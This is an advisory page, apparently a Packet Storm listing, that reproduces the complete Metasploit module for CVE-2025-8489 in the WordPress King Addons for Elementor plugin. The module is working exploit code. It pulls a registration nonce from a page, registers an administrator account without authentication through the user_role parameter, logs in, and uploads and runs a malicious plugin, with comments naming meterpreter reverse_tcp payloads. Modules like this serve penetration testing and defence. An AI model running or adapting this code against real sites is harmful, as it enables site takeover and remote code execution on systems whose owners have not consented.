PACKETSTORM 9.8 CRITICAL

📄 WordPress King Addons for Elementor Privilege Escalation / Remote Code Execution_PACKETSTORM:212728

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This Metasploit module exploits an unauthenticated privilege escalation vulnerability in the WordPress King Addons for Elementor plugin versions 24.12.92 to 51.1.14. The vulnerability exists in the handleregisterajax function which allows...
Visit Original Source

Basic Information

ID PACKETSTORM:212728
Published Dec 11, 2025 at 00:00

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE',
'Description' => %q{
This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
in the handle_register_ajax() function which allows unauthenticated attackers to specify
the user_role parameter during registration, enabling them to create administrator accounts.

This exploit requires a WordPress page containing the King Addons "Login Register Form"
Elementor widget, which exposes the required nonce token in the page's JavaScript.
The NONCE_PAGE option must be set to the path of such a page.

Once an administrator account is created, the module uploads and executes a malicious
plugin to achieve remote code execution (RCE).
},
'Author' => [
'Peter Thaleikis', # Vulnerability discovery
'Valentin Lobstein <[email protected]>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-8489'],
['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2025-10-30',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']),
OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
]
)
end

def check
return CheckCode::Unknown unless wordpress_and_online?

plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
return plugin_check if plugin_check == CheckCode::Safe

@nonce = find_nonce
return CheckCode::Detected('Could not find nonce on specified page') unless @nonce

CheckCode::Appears
end

def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL'])

admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
unless admin_cookie
msg = 'Failed to log in to WordPress admin.'
msg += ' User may exist with a different password.' if user_existed
fail_with(Failure::UnexpectedReply, msg)
end

upload_and_execute_payload(admin_cookie)
end

private

def find_nonce
nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
return nil unless res&.code == 200

doc = res.get_html_document
return nil unless doc

script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]')

script_nodes.each do |script_node|
nonce = extract_nonce_from_script(script_node.text)
return nonce if nonce
end

vprint_warning('Could not find nonce')
nil
end

def extract_nonce_from_script(script_content)
match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/)
return nil unless match

json_data = begin
JSON.parse(match[1].gsub('\/', '/'))
rescue StandardError
nil
end
return nil unless json_data.is_a?(Hash)

nonce = json_data['register_nonce']
return nil unless nonce.is_a?(String) && !nonce.empty?

vprint_status("Found nonce: #{nonce}")
nonce
end

def send_registration_request(username:, email:, password:, user_role: 'administrator')
@nonce ||= find_nonce
fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce

send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'king_addons_user_register',
'nonce' => @nonce,
'username' => username,
'email' => email,
'password' => password,
'confirm_password' => password,
'user_role' => user_role,
'terms_required' => 'no'
}
)
end

def create_admin_user(username, password, email)
res = send_registration_request(username: username, email: email, password: password)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end

json = res.get_json_document
unless json.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end

if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
print_warning('User or email already exists, attempting login with provided credentials...')
return true
end

if json['success'] == true
return false
end

fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
end

def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"

zip = generate_plugin(plugin_name, payload_name)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)

register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
payload_file = "#{payload_name}.php"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.